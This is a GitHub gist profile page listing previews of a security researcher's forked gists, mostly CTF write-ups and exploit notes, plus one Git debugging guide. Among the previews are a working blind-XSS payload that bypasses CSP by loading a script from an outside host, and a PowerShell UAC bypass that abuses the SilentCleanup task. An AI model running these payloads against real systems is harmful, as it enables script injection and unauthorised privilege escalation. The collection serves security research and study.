Skip to content

Instantly share code, notes, and snippets.

View JarLob's full-sized avatar

Jaroslav Lobačevski JarLob

View GitHub Profile
@JarLob
JarLob / debugging-git.md
Created January 12, 2024 20:53 — forked from phil-blain/debugging-git.md
Debugging Git for Git developers on Linux and macOS

Debugging Git

Some tips about debugging Git with GDB and LLDB.

Compiling Git for debugging

By default, Git's Makefile compiles Git with debug symbols (-g), but with optimization level -O2, which can lead to some variable being optimized out and thus making the executable harder to debug.

To compile with -O0, you can tweak CFLAGS using config.mak:

$ cat config.mak
@JarLob
JarLob / gist:89165857ac88db59e3f8bf6db98c2563
Created November 9, 2020 11:34 — forked from Rhynorater/gist:311cf3981fda8303d65c27316e69209f
BXSS - CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

MathSH Writeup

MathSH was a very innovative challenge in the category sandbox escape. Three members of our team - ALLES! - worked for several hours and eventually drew first blood on this challenge. This writeup is split into several parts, namely: dumping the binary, analysing the sandbox, gaining a better primitive for code execution and finally escaping the sandbox.

The description Calculator as a Service (CAAS) already hints to CAS, a legacy .NET technology to run code in various level of trusts.

We are given a restricted "shell" to calculate math expressions:

@JarLob
JarLob / elevate.ps1
Created June 2, 2020 20:08 — forked from adenkiewicz/elevate.ps1
UAC bypass for "Always Notify" on Windows 10.0.18363
New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k cmd.exe" -PropertyType String -Force
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
$Host.Runspace.LanguageMode
Get-AuthenticodeSignature -FilePath C:\Demo\bypass_test.psm1
Get-AuthenticodeSignature -FilePath C:\Demo\notepad_backdoored.exe
# Try to execute the script. Add-Type will fail.
Import-Module C:\Demo\bypass_test.psm1
$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +
'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'
<?php
//php gd-gif.php image.gif gd-image.gif
$gif = imagecreatefromgif($argv[1]);
imagegif($gif, $argv[2]);
imagedestroy($gif);
?>
@JarLob
JarLob / Bootstrap_XSS.md
Created March 27, 2020 20:43 — forked from BlackFan/Bootstrap_XSS.md
Bootstrap XSS Collection

CVE-2019-8331

Bootstrap < 3.4.1 || < 4.3.1

✔️ CSP strict-dynamic bypass

➖ Requires user interaction

➖ Requires $('[data-toggle="tooltip"]').tooltip();

@JarLob
JarLob / ridl.py
Created March 24, 2020 19:26 — forked from mkow/ridl.py
RIDL (Google Capture The Flag 2019 Finals solution)
#!/usr/bin/env python2
# Challenge: https://gctf-2019.appspot.com/#challenges/sandbox-sandbox-ridl
from pwn import *
import os
def split_by(data, cnt):
return [data[i : i+cnt] for i in xrange(0, len(data), cnt)]
@JarLob
JarLob / writeup.md
Created March 24, 2020 11:58 — forked from saelo/writeup.md
Writeup for the "Dezhou Instrumentz" challenge from the Real World CTF Qualifier 2019

Dezhou Instrumentz

The challenge consisted of an iOS app (Calc.app) which implemented a simple calculator. Moreover, the app also registered a custom URL scheme (icalc://) which would simply evaluate the content of the URL. The calculator was implemented using NSExpressions and the input string would simply be parsed as such an expression and executed. NSExpressions are pretty powerful and allow for example calls to ObjC Methods (e.q. typing in sqrt(42) would end up calling +[_NSPredicateUtilities sqrt:@42]). Further, there are two interesting helper functions available in NSExpressions:

FUNCTION(obj, 'foo', "bar")

Which will result in a call of the method 'foo' on object obj with parameter "bar" (an NSString).